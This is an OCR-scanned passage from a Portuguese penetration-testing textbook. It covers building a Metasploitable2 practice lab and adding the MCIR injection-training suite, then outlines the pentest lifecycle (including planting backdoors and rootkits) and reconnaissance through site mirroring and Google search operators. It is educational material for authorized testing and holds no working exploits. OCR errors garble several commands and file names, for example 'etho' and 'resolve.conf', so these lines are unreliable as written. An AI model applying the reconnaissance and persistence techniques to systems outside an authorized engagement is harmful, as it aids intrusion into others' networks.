Operating System:  Ubunitu
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Video Memory: 12 MB
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I::i Storage

Controller: IDE
IDE Secondary Master:  [CD/OVD] Empty
Controller: SATA
GATA Port 0: Metasploitable.wmdk (Normal, 5.00 GB)

B Audio

Host Driver:  Windows DirectSound
Controller:  ICH ACST

| =P Metwork -

Figura 5.24 - Configuragdo completa do Metasploitable2.

Selecione a maquina virtual e, em seguida, clique no botdo Settings (Configuragoes). Clique em General
(Geral) no menu a esquerda. Em seguida, selecione a aba Advanced (Figura 5.25).

Configure o parametro Shared Clipboard (Clipboard compartilhado) para Bidirectional (Bidirecional), e
Drag’'n’Drop (Arrastar e soltar) para Bidirectional. Selecione o botdo Network (Rede) no menu a esquerda e
altere a opcdo Attached to (Conectado a) para Host-only Adapter. Clique no botdo OK para salvar as
alteracoes (Figura 5.26).

Selecione a maquina virtual Metasploitable2 e clique no botao Start (Iniciar) na parte superior.

Faca login no Metasploitable2 usando as credenciais default:

Username: msfadmin
Password: msfadmin
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Figura 5.25 - Configurag¢ées avan¢adas do Metasploitable2.

O primeiro aspecto a ser observado é que nao ha nenhuma GUI por padrao. O Metasploitable niao foi
criado para ser usado como uma plataforma de ataque. Fazer o login no Metasploitable nesse instante
serve para verificar se ele esta funcionando e para determinar o seu endereco IP para que ele possa ser
atacado pelo Kali Linux no futuro.

Verifique o endereco IP atribuido a sua maquina virtual.
a. Digite: ifconfig
b. Por padrao, o servidor DHCP do VirtualBox atribui enderecos IP que comecam com 192.168.56.x.
:Endereco assumido: 192.168.56.101

Inicie a maquina virtual Kali-Linux-LiveDisc criada anteriormente. Apds fazer o login no Kali, abra o
IceWeasel (o navegador web padrao no Kali) e navegue até o endereco IP da maquina virtual
Metasploitable2 (Figura 5.27).
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Figura 5.26 - Configuragoes de rede do Metasploitable2.




Applications Places ‘r E St Aug 17, 546 AM T

Browse and run installed applications Motasploitabled - Linus = lcoweasel
Fileg Edit Wiew Hi;‘tnr-,' Bogkmarks Tools Help
Merasploitable £ = Linux 5 |

4 192.168.56.102 w & -

T Most Visited  PROfensive Security "W Kali Linux S Kali Docs [[JExploit-DB W Aircrack-ng

Warning: Mever expese this VM to an untrusted network!
Contact: msfdeviatlmetaspleit. con

Login with ssfadein/esfadein to gat started

E rost@kalic - T Mitasploitable2 - Linw.

Figura 5.27 - Interface web.

Ampliacdo de seu laboratdrio

Com o Projeto Metasploitable2, o aprendiz ndo sé obtém um computador vulneravel para atacar, como
também tera uma porta de acesso a outras dreas de treinamento. A maquina virtual propriamente dita é
vulneravel a exploragdes de falha locais e remotas por natureza; porém os web services a seguir
acompanham o Metasploitable:

1. phpMyAdmin — administrar o SQL por meio de uma interface web nao é facil, porém o phpMyAdmin
¢ uma aplicacdo web gratuita, criada em PHP, que simplifica a administracao dos bancos de dados
MySQL conectados aos servidores web. O acesso direto ao banco de dados MySQL é possivel por
meio do phpMyAdmin, e, sendo assim, ele é um alvo atraente para um pentester e igualmente para
os hackers. Mais informacdes estao disponiveis em http://www.phpmyadmin.net/.

2. Mutillidae (pronuncia-se como mut-till-i-day em inglés) é um projeto de cédigo aberto do OWASP,
criado para ajudar pesquisadores e estudantes da area de seguranca a desenvolver habilidades para
efetuar o hacking de aplicagdes web. O Mutillidae é uma ferramenta de treinamento incrivelmente
util, que conta com uma grande participagio da comunidade e é atualizada regularmente. Ele ja
vem instalado por padrio no Metasploitable2, no SamuraiWTF e no OWASP Broken Web Apps
(BWA). Muitos videos de tutoriais para o Mutillidae foram gentilmente carregados no YouTube por



Jeremy Drunin, também conhecido como webpwnized na comunidade de seguranca. A versiao que
acompanha o Metasploitable por padrio esta desatualizada e ndo contém os desafios mais recentes.
Faca o download da versao mais recente do Mutillidae a partir da pagina de projetos do Sourceforge
e carregue-a na pasta /var/www no Metasploitable2 para obter as atualizacbes e os desafios mais
recentes. Mais informagdes estdo disponiveis em http://sourceforge.net/projects/mutillidae/ e em

http://www.youtube.com/user/webpwnized.

3. WebDAV - As pessoas que operam e administram sites podem precisar fazer alteragcdes nos contetidos
desses sites. O WebDAV é uma extensio do pacote de protocolo HTTP que permite efetuar
modificagdes em sites remotamente. O WebDAV usa uma combina¢io de nome de usuario e de
senha para administrar o acesso das contas. Se a configuragio do WebDAV nao for segura, ¢é
possivel aos invasores desfigurar os sites, carregar arquivos maliciosos e usar o servidor web com
outras intenc¢des maliciosas. Mais informacoes estio disponiveis em http://www.webdav.org/.

4. DVWA - O Damn Vulnerable Web App é outra plataforma de treinamento para profissionais da area
de seguranca, além de professores, alunos e pesquisadores, para o aprendizado a respeito de
seguranca de aplicagdes web e, como o nome indica, é uma aplicagio muito vulneravel. Mais
informacodes estao disponiveis em http://www.dvwa.co.uk € em http://sourceforge.net/projects/dvwa.

5. TWiki — E uma aplicacdo web 2.0 de nivel corporativo, que é um frontend para wiki e colaboracio. O
TWiki é robusto e ja teve diversas versoes disponibilizadas apds a versio que acompanha o
Metasploitable. A quantidade de vulnerabilidades na versio instalada na maquina virtual
Metasploitable é impressionante. O TWiki oferece uma perspectiva mais ampla ao pentester em
relacdo a quantidade de maneiras de atacar aplicacdes web 2.0. Versoes mais recentes do TWiki tém
sido usadas por empresas gigantescas como Yahoo!, Nokia, Motorola e Disney. Mais informagdes
estao disponiveis em http://twiki.org.

Todas as aplicagoes anteriores estio disponiveis em um servidor web Apache Tomcat. Qualquer pasta
ou site colocado na pasta /var/wew sera acessivel por meio da interface web na madquina virtual
Metasploitable2. Existem varios pacotes para treinamento, como o Mutillidae e 0o DVWA, que ajudarao
a aperfeicoar e a aprimorar o conjunto de habilidades do pentester. Além do mais, esses programas de
treinamento continuam a ser atualizados; no entanto o Metasploitable nido foi concebido para ser
atualizado entre as versdes principais. Adicionar pacotes na maquina virtual Metasploitable exige
tempo, mas o esforco vale a pena. Como exemplo a ser repetido, modifique os passos a seguir para
adicionar pacotes aos web services da maquina virtual Metasploitable.

O Magical Code Injection Rainbow

Dan Crowley, um entusiasta na area de seguranca de informagdes e pesquisador independente da
Trustwave, concebeu e criou cinco pacotes de treinamento bastante impressionantes. E facil navegar
pelos seus programas de treinamento baseados em web, que incluem varios niveis de desafios. Sua
criagao mais recente ¢ uma combina¢ao de seus treinamentos web para formar um dnico playground
digital chamado Magical Code Injection Rainbow (MCIR). O MCIR ¢é constituido pelos seguintes
modulos:



e SQlol — uma plataforma de treinamento para injecdo de SQL que permite a personalizacio de
caracteres e sequéncias explicitamente listados; a plataforma é focada em desafios, com o intuito de
aprimorar as habilidades basicas necessarias para testar e passar pelos recursos de seguranca do SQL.

« XMLmao - similar ao SQLol, 0 XMLmao é um ambiente de treinamento configuravel para inje¢io de
XML.

o Shelol - um ambiente de treinamento configuravel para shell de sistemas operacionais, para efetuar
injecao de comandos.

o XSSmh - ferramenta de treinamento para Cross-site Scripting.

o (ryptOMG - projeto desenvolvido em conjunto com Andrew Jordan, o CryptOMG ¢é uma aplicagdo
web configuravel do tipo "capture the flag" (capture a bandeira), projetado para realizar a exploraciao
de falhas comuns na implementacio de criptografia. Mais informacdes estdo disponiveis em
https://github.com/SpiderLabs/MCIR.

Instalacao do MCIR

Abra o VirtualBox, selecione a maquina virtual Metasploitable2 e clique no botdo Settings (Configuragoes)
na barra de menu (isso pode ser feito até mesmo enquanto a maquina estiver executando). Selecione o
botdao Network (Rede) a esquerda e altere o pardmetro Attached to (Conectado a) para Bridged Adapter
(Figura 5.28).
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Figura 5.28 - Modificando o adaptador de rede.

O parametro Name (Nome) corresponde a placa de rede com a qual a placa de interface de rede virtual
estara conectada. Resultados individuais poderdo estar diferentes daqueles mostrados na figura 5.28.
Clique no botao OK para concluir e fechar a janela. Se a maquina virtual Metasploitable2 ainda nao estiver
executando, inicie-a e faga o login como o usuario msfadmin. Reinicie a interface de rede:

sudo ifdown etho
sudo ifup ethe

Verifique se o novo enderego IP foi definido:
ifconfig etheo
Modifique os nameservers em /etc/resolve.conf:
sudo nano /etc/resolve.conf
Mude o enderego IP do servidor de nomes listado para um gateway acessivel em sua rede; em seguida,
tecle CTRL+X para sair e salve o arquivo.
Teste a conectividade com a internet:
nslookup www.google.com

Todos os enderegos IP de Google.com serdo apresentados. Do contrario, retorne e ajuste as configuracoes



de interface de rede.

Faca o download do Magical Code Injection Rainbow a partir de GitHub.com.
wget https://codeload.github.com/SpiderLabs/MCIR/zip/master

Embora ndo tenha uma extensao .zip, o arquivo baixado de GitHub.com é desse tipo.

Descompacte o arquivo master.
unzip master

Mova a pasta do MCIR para o local apropriado no servidor web Tomcat:
sudo mv MCIR-master /var/www/mcir

Altere a pagina web do Metasploitable2 para facilitar o acesso:

cd /var/www
sudo nano index.php

Adicione o MCIR a lista de paginas web, como mostrado na figura 5.29.

GHU nano 2.0.7 File: index.phyp

Jarning: Never expose this UM to an untrusted network!?
Contact: msfdeviatlmetasploit.com

Ogin with nsfadmninsnsfadmin to get started

href =" tuiki-">THiki< a>< 11>

href ="/phpHyAdnin/">phplyAdnind sa>< 1i>
href="/nutillidaes" " >Hutillidae< a></1i>

href ="/sdvwas">DUHA< a>< 11>

href="sdav/"*HebDAV< /a>< 11>

href="/mncirs">Magical Code Injection Rainbow<ra><,1i>

[ Hrote 30 lines 1

1sfadmin@netasploitable: svar/uwus

Figura 5.29 - Shell de comandos.

Tecle CTRL+X para sair e salve o arquivo. O framework MCIR nao esta totalmente carregado. As
configuracbes de rede devem ser restauradas. Abra a janela do VirtualBox Manager, selecione a
maquina virtual Metasploitable2 e clique no botao Settings na barra de menu. Como feito anteriormente,
selecione o botdo Network (Rede) no menu a esquerda e altere a opc¢do Attached to (Conectado a) para
Host-only Adapter. Clique no botao OK para salvar e sair. Por fim, reinicie a placa de interface de rede da
maquina virtual Metasploitable2:

sudo ifdown etho
sudo ifup ethe



Verifique o novo endereco IP da placa de interface de rede ethe:
ifconfig ethe
A partir da  maquina  virtual  Kali-Linux-LiveDisc, =~ abra o  IceWeasel e  acesse

http://{endereco_IP_da_mdquina_virtual_Metasploitable2}/.

Como podemos ver na figura 5.30, o link para o MCIR esta disponivel no navegador web (Figura 5.31).
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Figura 5.30 - Interface web do Metasploitable.
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Figura 5.31 - Magical Code Injection Rainbow.

Use essa metodologia para atualizar e para acrescentar novos conteidos na maquina virtual
Metasploitable2. Posteriormente, este livro discutirda o uso do Metasploit Framework para explorar as
falhas dessa maquina virtual.

Referéncias:
« Computer Hacking and Unauthorized Access Laws (Leis relacionadas ao hacking de computadores
e a acessos ndo autorizados)
http://www.ncsl.org/issues-research/telecom/computer-hacking-andunauthorized-access-laws.aspx
o United States Code 18, Parte 1, Capitulo 47, § 1030
http://www.law.cornell.edu/uscode/text/18/1030



CAPITULO 6
Introducao ao ciclo de vida dos testes de invasao

Informagoes contidas neste capitulo:
 Reconhecimento
e Scanning
« Exploragao de falhas
o Preservacgio do acesso

o Geracio de relatérios

Visao geral do capitulo e principais pontos de aprendizagem

Este capitulo apresenta as cinco fases do ciclo de vida dos testes de invasdo.

Introducdo ao ciclo de vida

A maioria das pessoas acha que tudo o que um pentester ou um hacker precisa fazer é sentar-se diante
de um computador, comecar a digitar uma sequéncia de codigos obscura e pronto: qualquer
computador no mundo serd instantaneamente aberto. Esse esteredtipo criado com base em mitos de
Hollywood esta muito distante da verdade. Os profissionais dessa area sdo bastante meticulosos quanto
a abordagem usada para identificar e explorar as vulnerabilidades dos sistemas de computadores. Ao
longo do tempo, um framework foi consolidado e passou a ser usado pelos hackers éticos profissionais.
As quatro fases desse framework orientam o pentester durante o processo de explorar empiricamente as
falhas dos sistemas de informag¢ido de modo a resultar em um relatério bem documentado que possa ser
usado, se necessario, para a repeticio de partes dos testes. Esse processo nao sd oferece uma estrutura
ao pentester como também ¢é usado no desenvolvimento de planos gerais para as atividades de testes de
invasao. Cada fase esta calcada no passo anterior e prové detalhes aos passos que se seguem. Embora o
processo seja sequencial, muitos pentesters retornam as fases anteriores para esclarecer as descobertas e
validar o que foi encontrado.

Os quatro primeiros passos do processo foram claramente definidos por Patrick Engebretson em seu
livro Introdu¢do ao hacking e aos testes de invasio (Novatec Editora). Esses passos sao:
Reconhecimento (Reconnaissance), Scanning, Exploragio de falhas (Exploitation) e Preservacio do
acesso (Mantaining Access). Este livro usa esses mesmos passos, porém expande o trabalho de Patrick
com um passo adicional correspondente a Geragdo de relatérios (Reporting). Além do mais, ao
comparar com o processo de cinco fases definido pelo EC-Council em seu curso popular GEH
(Certified Ethical Hacking), muitas pessoas poderdo perceber que a ultima fase desse processo, a
Ocultagdo de pistas (Covering Tracks), esta ausente. Isso foi feito de propdsito para podermos focar nas



fases anteriores e incluir um capitulo sobre geragdo de relatérios, um topico que esta ausente em muitos
livros sobre o assunto. Este livro também se diferencia do livro mencionado anteriormente por remover
a ilustracao ciclica do ciclo de vida e substitui-la por uma ilustra¢ao contendo uma imagem mais linear
que coincide com o que um hacker ético normalmente encontrard em um processo normal. Essa
atividade comeca com o reconhecimento do sistema de informacio-alvo e termina com o pentester ou
com o lider da equipe de testes passando informacdes aos lideres responsaveis pelos sistemas de
informacido e apresentando o relatério a respeito do que foi descoberto. Esse processo linear esta sendo
mostrado na figura 6.1.

Uma visdo basica de cada uma das fases sera apresentada neste capitulo, e uma descricio mais
detalhada serd feita nos capitulos dedicados a cada fase. Além da descri¢do, ferramentas comuns usadas
em cada fase serdo apresentadas nos proximos capitulos. Dessa maneira, o leitor ndo s6 entendera as
fases do ciclo de vida, como também terd uma visio mais detalhada de quais ferramentas tém mais
chance de serem usadas em primeiro lugar pelos profissionais dessa area de segurancga. Esses capitulos
apresentardo as ferramentas ao leitor, porém nao serao feitas descricdes exaustivas; na realidade, elas
mal tocam a superficie quando se trata daquilo que cada ferramenta ou técnica é capaz de fazer para
auxiliar na conducgio desses tipos de testes. Muitas das ferramentas ou técnicas possuem livros inteiros -
as vezes, varios livros — dedicados ao seu uso correto e as suas aplicagoes.

Reconhecimento

Scanning

Preservacao do acesso

Geracao de relatorios

Figura 6.1 - O ciclo de vida dos testes de invasao.

Fase 1: Reconhecimento

Em uma pequena sala mal iluminada, analistas e oficiais esquadrinham e inspecionam mapas do



territério inimigo. Do outro lado da sala, outras pessoas assistem aos canais de TV do mundo todo
fazendo anotagdes freneticamente. O ultimo grupo dessa sala prepara uma avaliagio detalhada
contendo tudo a respeito do alvo sendo investigado. Embora esse cenario detalhe o que normalmente
seria feito em um reconhecimento militar de um possivel alvo, as atividades sio semelhantes as que o
pentester fara durante a fase de reconhecimento do ciclo de vida dos testes de invasao.

O cenario ilustra o tipo de trabalho realizado durante a fase de reconhecimento do ciclo de vida dos
testes de invasdo. Essa fase tem como foco aprender absolutamente tudo sobre a rede e a empresa que
serdo o alvo do processo. Isso é feito por meio de pesquisas na internet e pela realizacdo de scans
passivos nas conexdes disponiveis a rede-alvo. Nessa fase, o pentester ndo penetra realmente no sistema
de defesa da rede, porém identifica e documenta o maximo possivel de informacoes a respeito do alvo.

Fase 2: Scanning

Imagine que bem no alto de uma colina, atrds das linhas inimigas, um unico soldado encontra-se
agachado, escondido em um emaranhado de arbustos e de arvores. O relatério sendo enviado informa
as outras pessoas a localizacio do acampamento sendo observado, sua missao e os tipos de atividade
sendo realizados em cada instalacdo. O relatério também traz observacoes sobre as rotas de entrada e
de saida do acampamento e os tipos de sistema de seguranga que podem ser vistos.

O soldado nesse exemplo tinha uma missio definida de acordo com a analise conduzida durante a fase
de reconhecimento. E isso o que ocorre na segunda fase do ciclo de vida dos testes de invasdo. O
pentester usara as informagdes obtidas na fase 1 para iniciar o scanning da rede e do sistema de
informacdo-alvo. Ao usar ferramentas nessa fase, serd possivel ter uma melhor definicio da rede e da
infraestrutura do sistema de informacio, que serdo o alvo da exploracio de falhas. As informacdes
obtidas nessa fase serdo usadas na fase de exploracio de falhas.

Fase 3: Exploracao de falhas

Quatro soldados correm por um campo aberto; mal se vé a lua encoberta pelas nuvens; no entanto os
soldados veem tudo através de um brilho verde sinistro. Eles correm para o prédio, passando por um
buraco na cerca, e, em seguida, entram por uma porta aberta nos fundos. Ap6s permanecerem alguns
instantes no alvo, eles estio no caminho de volta, de posse de informacgdes vitais sobre os proximos
movimentos da tropa e planos para os meses que se seguem.

Novamente, isso é semelhante ao que sera feito pelo hacker ético na fase de exploracido de falhas. O
proposito dessa fase é entrar no sistema-alvo e sair com informagdes sem ser notado, usando as
vulnerabilidades do sistema e as técnicas comprovadas.

Fase 4: Preservacdo do acesso

Com base nos desenhos fornecidos pela equipe de assalto, um grupo de engenheiros habilidosos escava
a terra em uma linha passando sob a sala que armazena as informacgdes vitais obtidas anteriormente. O
proposito desse tunel é proporcionar um acesso facil a sala para que seja possivel fazer uma exploraciao
continua do inimigo. O mesmo ocorre com o pentester: uma vez que as falhas do sistema forem



exploradas, backdoors (portas dos fundos) e rootkits serdo deixados nos sistemas para permitir o acesso
no futuro.

Fase 5: Geracao de relatdrios

O comandante da equipe de assalto se posta diante de um grupo de generais e de almirantes explicando
os detalhes da operagdo. Cada passo é explicado com detalhes, esmiucando aqueles que possibilitaram a
exploragdo do inimigo. O pentester também deve criar relatdrios detalhados para explicar cada passo do
processo de hacking, as vulnerabilidades exploradas e os sistemas que foram comprometidos. Além
disso, em varios casos, um ou mais membros da equipe podem ser solicitados a fornecer uma descri¢io
detalhada aos lideres de alto escaldo e a equipe técnica responsaveis pelo sistema de informacio-alvo.

Resumo

Os proximos capitulos explicardo cada uma dessas fases com mais detalhes. Cada capitulo fornecera
informagoes basicas sobre as ferramentas comuns usadas em cada fase. Ao usar o processo detalhado
neste capitulo, o leitor irda compreender o propdsito e as vantagens associados a fase sendo explicada,
bem como as ferramentas mais comuns usadas nessa fase.



CAPiTULO 7/
Reconhecimento

Informagoes contidas neste capitulo:
o Espelhamento de sites
o Pesquisas no Google
» Google Hacking
 Midias sociais
« Sites de ofertas de emprego
o DNS e ataques de DNS

Visao geral do capitulo e principais pontos de aprendizagem

Este capitulo explica o basico sobre a fase de reconhecimento do ciclo de vida dos testes de invasdo. O
processo ajuda o hacker ético a descobrir informagdes sobre a empresa e os sistemas de computacgio-
alvo. Essas informagoes poderio ser usadas posteriormente para comprometer esses sistemas.

Introducao

Assim como os estrategistas militares analisam cuidadosamente todas as informagdes disponiveis antes
de desenvolver os planos de batalha, um pentester competente deve analisar de perto todas as
informagoes que possam ser obtidas antes de realizar um teste de invasao bem-sucedido. Muitas vezes,
essas informagdes podem ser obtidas por meio de pesquisas na internet usando sites como o Google e
outros, incluindo aqueles focados em compartilhamento de informagdes e as midias sociais. As
informagoes podem ser encontradas nos servidores de nome da internet, que também disponibilizam
informagoes aos navegadores dos usuarios. As mensagens de email podem ser rastreadas até uma
empresa e mesmo os emails retornados podem auxiliar o pentester. Criar uma copia offline do site do
alvo e analisa-la pode proporcionar uma fonte de informagoes valiosa; esses dados poderao ser usados
posteriormente como uma ferramenta para atividades de engenharia social, se o ROE associado aos
testes permitir.

Essa fase se inicia com a equipe de testes tendo poucos conhecimentos a respeito do alvo. O nivel de
detalhes fornecidos a equipe pode variar do conhecimento apenas do nome das empresas e,
possivelmente, do endereco de um site até a posse de informagdes detalhadas e especificas sobre o
sistema, incluindo o espaco de enderecamento IP e as tecnologias em uso definidos no ROE de modo a
limitar o escopo dos testes. O ROE também pode limitar a capacidade da equipe de testes de conduzir
atividades que incluam o uso de engenharia social e de realizar atividades destrutivas como os ataques
DoS (Denial of Service, ou Negacao de Servigo) e os ataques de DoS distribuido.



O objetivo dessa fase consiste em descobrir o maximo de informagoes possivel sobre a empresa.
Algumas informacoes que devem ser determinadas em rela¢ao a empresa incluem:

e a estrutura organizacional, incluindo organogramas completos e de alto nivel dos departamentos e
das equipes;

a infraestrutura da empresa, incluindo o espa¢o de enderecamento IP e a topologia da rede;

as tecnologias usadas, incluindo as plataformas de hardware e os pacotes de software;

os enderecos de email dos funcionarios;

os parceiros da empresa;

as localizacoes fisicas das instalacdes da empresa;

os numeros de telefone.

Agentes de confianca

O agente de confianca pode ser a pessoa que contratou a equipe de testes de invasao ou um individuo
apontado pela empresa que podera responder as perguntas sobre o processo e que nao divulgara o fato
de que um teste de invasao esta ocorrendo na empresa como um todo.

Comece pelo proprio site do alvo

O proprio site do alvo armazena muitas informacoes que servirdo para a criagio do perfil a ser usado no
processo. Por exemplo, muitos sites orgulhosamente apresentam organogramas da empresa e o perfil de
seus principais lideres. Essas informacoes devem ser usadas como base para a criagdio de um perfil do
alvo, e as informacdes sobre os principais lideres da empresa podem ser usadas no futuro para a coleta
de informagdes em sites de redes sociais, além de poderem ser empregadas na engenharia social, se isso
for permitido pelo ROE.

Muitos sites de empresas também incluem uma pagina de oportunidades de carreira ou de empregos.
Essa pagina é indispensavel para determinar as tecnologias usadas na empresa. Por exemplo, as entradas
referentes a administradores de sistemas que estejam familiarizados com o Active Directory e com o
Windows Server 2012 sdo fortes indicadores de que a empresa, no minimo, usa o Windows Server
2012. Uma entrada referente a administradores familiarizados ou que sejam especialistas na
administracaio do Windows Server 2003 ou 2000 deve fazer qualquer pentester ficar “de orelhas em
pé”, pois essas plataformas sao mais vulneraveis que os sistemas operacionais mais recentes.

Todo site deve ser verificado para que se descubra se ha um link para um webmail, e, se for
encontrado, esse deve ser avaliado. Se um clique no link resultar na apresentagao de uma pagina do
Outlook Web Access, assumir que servidores Microsoft Exchange estdo sendo usados para emails seria
uma boa suposi¢ao. Se uma pagina do Office 365 for apresentada, ¢ um bom indicio de que os servigos
de email estio sendo terceirizados e que os servidores de email provavelmente estardo fora dos limites
de acordo com a maioria dos ROEs. O mesmo vale também para o Google webmail; no entanto tudo
isso deve estar detalhado na descricio dos limites definidos antes de o contrato entrar em vigor. Se
houver duvidas sobre a possibilidade de cruzar um limite, o agente de confianca relacionado ao
contrato deve ser acionado para resolver a questio.



Espelhamento de sites

Ha ocasides em que copiar todo o site das empresas a fim de fazer uma avaliacdo offline é mais
eficiente. Isso pode ser feito para permitir o uso de ferramentas automaticas com o intuito de pesquisar
termos ou somente para ter uma copia caso seja necessario fazer alteragdes em informagoes sensiveis
que estdo no site no momento. Ter uma copia do site é util para prosseguir com a atividade de
reconhecimento quando vocé estd offline. Ferramentas como o wget usado na linha de comando
copiardao todos os arquivos html de um site e os armazenardo no disco rigido local. A ferramenta wget
estd instalada por padrao no Kali Linux e ¢ facil de usar. Ao utilizar a linha de comando a seguir na
janela do terminal, todos os arquivos html de um site completo serdo baixados. E importante observar
que 0 wget nao ira copiar a programacgio de paginas do lado do servidor como as que sdo criadas por
meio de um script PHP.

wget -m -p -E -k -K -np -v http://foo.com
Nesse exemplo, o comando wget é seguido de varias opgdes. Como ocorre com outras ferramentas no
Kali Linux, o manual do usudrio — ou man pages — pode ser consultado para determinar a melhor
maneira de usar a ferramenta nas atividades que estdo sendo conduzidas. Para visualizar as man pages
do wget, utilize o comando a seguir:

man wget
Depois que estiver nas man pages, analise o seu conteido usando as setas de navegacao e os botdes
para mudanca de pagina (page up e page down). Tecle h para ajuda e q para sair das man pages. Uma
analise das man pages do wget para o conjunto anterior de opgoes revela o seguinte:

m mirror (espelho): habilita as opcoes adequadas ao espelhamento do site;

p page (pdgina) ou prerequisites (pré-requisitos): essa opgdo garante que os arquivos necessarios
serdo baixados, incluindo imagens e arquivos css.

E adjust extension (ajustar extensdo): fard todas as paginas serem salvas localmente como um
arquivo html.

k convert links (converter links): permite que os arquivos sejam convertidos para visualizagdo local;

K keep backup converted (manter backup convertido): faz backup do arquivo original usando um

sufixo .orig.

Os arquivos transferidos dos servidores web de uma empresa serao armazenados em uma pasta com o
nome do site que esta sendo copiado. Ao copiar um site, podem ocorrer erros quando paginas criadas
com o PHP ou que o contenham forem baixadas. Isso ocorre porque boa parte do coédigo para criar a
pagina é gerada por um script executado no servidor por tras da pagina web, em um local que é
inacessivel para a maioria das aplicacdes de clonagem de sites.

Ap0ds terem sido baixados, é importante que os arquivos nao fiquem disponiveis para serem visualizados
por outras pessoas, por exemplo, por meio da republicacio do site, pois isso constituiria uma violagido
das leis de copyright.

Pesquisas no Google



A técnica de pesquisa no Google tira proveito dos operadores avancados, usados para realizar pesquisas
detalhadas. Aqueles que nao estiverem familiarizados com a pesquisa no Google podem comecar pela
pagina Advance Search (Pesquisa avancada) do Google, localizada em
http://www.google.com/advanced_search, como mostrado na figura 7.1. Essa pagina ajudara os
pesquisadores inexperientes a realizar pesquisas basicas. A metade superior da pagina, mostrada na
figura 7.2, ajuda a encontrar paginas web por meio da inclusio e da exclusdo de palavras, termos e
numeros. A metade inferior da pagina ajuda a restringir os resultados usando os operadores do Google.
Quem estiver realizando a pesquisa pode usar qualquer combinagio de campos nessa pagina para
compor a string de pesquisa a ser usada. A utilizagdo de mais de um campo tornara a string de pesquisa
mais complexa; por outro lado, ela ficara mais focada.

Advanced Search

Find pages with Ta da this in the search box

all thase wornds Type e mporenl words: tricsler gar tecrise
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Figura 7.1 - Pdgina de pesquisa avangada do Google.
Find pages with...

all these words:

this exact word or phrase:

any of these words:

none of these words:

numbers ranging from: (]

Figura 7.2 - Pesquisa avangada do Google (continuagdo).



All these words (todas estas palavras)

Esse campo pode ser usado para encontrar paginas contendo as palavras digitadas na caixa de dialogo,
independentemente do local em que essas palavras estiverem na pagina web. Com efeito, as palavras
ndo precisam nem mesmo estar na ordem digitada ou juntas; basta que elas estejam em algum lugar na
pagina web. Para realizar essa pesquisa, digite varios termos na caixa de didlogo e clique no botdo
Advance Search (Pesquisa avangada). Ao fazer isso, as palavras digitadas na pagina de pesquisa avangada
serdo convertidas em uma string de pesquisa e, em seguida, serdo enviadas ao Google como se tivessem
sido diretamente digitadas no campo de pesquisa da pagina principal.

This exact word or phrase (esta expressdo ou frase exata)

Digitar um termo de pesquisa no campo a direita dessa op¢ao fara a ferramenta de pesquisa Google
encontrar as palavras ou as frases na ordem exata em que foram digitadas. De modo diferente da
pesquisa com all these words (todas estas palavras), somente as paginas web que contiverem a frase ou as
palavras na ordem exata e juntas serdo incluidas no conjunto de resultados. Essa pesquisa funciona por
meio da colocacao dos termos da pesquisa entre aspas.

Any of these words (qualquer uma destas palavras)

Ao usar esse campo, a pesquisa Google encontrard as paginas que contiverem qualquer uma das
palavras. De modo diferente do campo all these words (todas estas palavras), as paginas retornadas nao
precisam ter todas as palavras que forem digitadas. Essa pesquisa funciona por meio da inser¢ao do
conector OR entre os termos na caixa de pesquisa.

None of these words (nenhuma destas palavras)

As palavras digitadas nessa caixa de texto serao usadas para omitir paginas do resultado da pesquisa
Google. Qualquer pagina contendo as palavras digitadas sera removida do conjunto de resultados. Essa
pesquisa funciona por meio da inser¢io de um sinal de menos na frente das palavras ou dos termos que
vocé ndo quiser ver no conjunto de resultados.

Numbers ranging from (numeros que variam de)

Ao usar os dois campos de texto dessa drea, a pesquisa resultard em paginas que contém numeros
pertencentes ao intervalo especificado. Esse tipo de pesquisa pode ser incrementado pela inclusdo de
unidades de medida, por exemplo, libras (Ib), milhas ou milimetros (mm), ou indicadores de moedas,
como $ ou €. Essa pesquisa pode ser realizada ao usar a caixa de pesquisa principal por meio da inser¢io
de dois pontos (..) entre os numeros.

Language (idioma)

Ao selecionar um idioma na lista suspensa para selecdo, as paginas resultantes estardo, em sua maior
parte, no idioma selecionado. Essa restricio na pesquisa pode ser util para limitar os resultados as
paginas que estdo no idioma predominante da area em que o alvo estiver localizado. Por exemplo, ao
focar em sites alemdes, uma equipe que estiver realizando um teste de invasio em uma empresa alema
podera buscar informagoes relevantes para essa atividade em particular de modo mais adequado.



Region (regido)

Ao selecionar uma regiao na lista suspensa para selecio, as paginas resultantes corresponderdo a paginas
web publicadas na regido selecionada. Se nenhuma sele¢do for feita na lista de idiomas, o resultado de
uma pesquisa com uma regido selecionada incluira as paginas publicadas nessa regido
independentemente do idioma principal sendo usado. Ao selecionar tanto o idioma quanto a regido,
uma pesquisa mais focada podera ser realizada.

Last updated (ultima atualizagdo)

Ao selecionar um limite de tempo na lista suspensa relacionada a essa op¢do, somente as paginas
atualizadas no periodo de tempo selecionado serdo incluidas na pesquisa. Isso garante que paginas mais
antigas ndo sejam incluidas no conjunto de resultados, e esse tipo de pesquisa pode ser usado para
certificar-se de que as paginas resultantes foram atualizadas ap6s um evento importante. Por exemplo,
se a empresa visada no teste de invasio recentemente concluiu uma fusio com outra empresa ou
adotou uma nova tecnologia, a pesquisa poderia ser limitada ao periodo contado a partir desse evento a
fim de garantir que os resultados sejam mais relevantes.

Site or domain (site ou dominio)

Essa caixa de texto pode ser uma das mais uteis para restringir os resultados da pesquisa sobre o alvo.
Por exemplo, as pesquisas em uma organizacdo governamental podem se beneficiar da restricao dos
resultados para que sejam exclusivamente em dominios .gov, enquanto as pesquisas em relagdo a Foo
Incorporated podem se beneficiar se os resultados forem limitados ao dominio foo.com. Esse tipo de
restricdio também pode ser definido na caixa de pesquisa principal do Google por meio do uso do
operador site: para limitar a pesquisa, seguido do dominio ou dos dominios que devem ser retornados
no conjunto de resultados; por exemplo, site:foo.com pode ser usado para restringir os resultados
somente as paginas do dominio foo. com.

Terms appearing (termos que aparecem)

Ao usar essa lista suspensa, a pesquisa pode ser focada em uma parte especifica da pagina. Obviamente,
selecionar anywhere on the page (qualquer lugar da pagina) fara a pesquisa ser executada em paginas
inteiras de sites da internet, sem nenhuma verdadeira restricio em relacido ao local em que a pesquisa
estara focada.

Uma pesquisa que use in title of the page (no titulo da pagina) estara focada somente no titulo das paginas
web. Para ser especifico, o titulo da pagina corresponde a parte da pagina web que é mostrada nas abas
do navegador web. Essa pesquisa também pode ser realizada na pagina principal do Google por meio do
uso do operador intitle: na caixa de pesquisa.

O uso do limitador in the text of the page (no texto da pagina) restringira a pesquisa somente ao texto das
paginas, excluindo itens como imagens, documentos e estruturas da pagina, por exemplo, o titulo; no
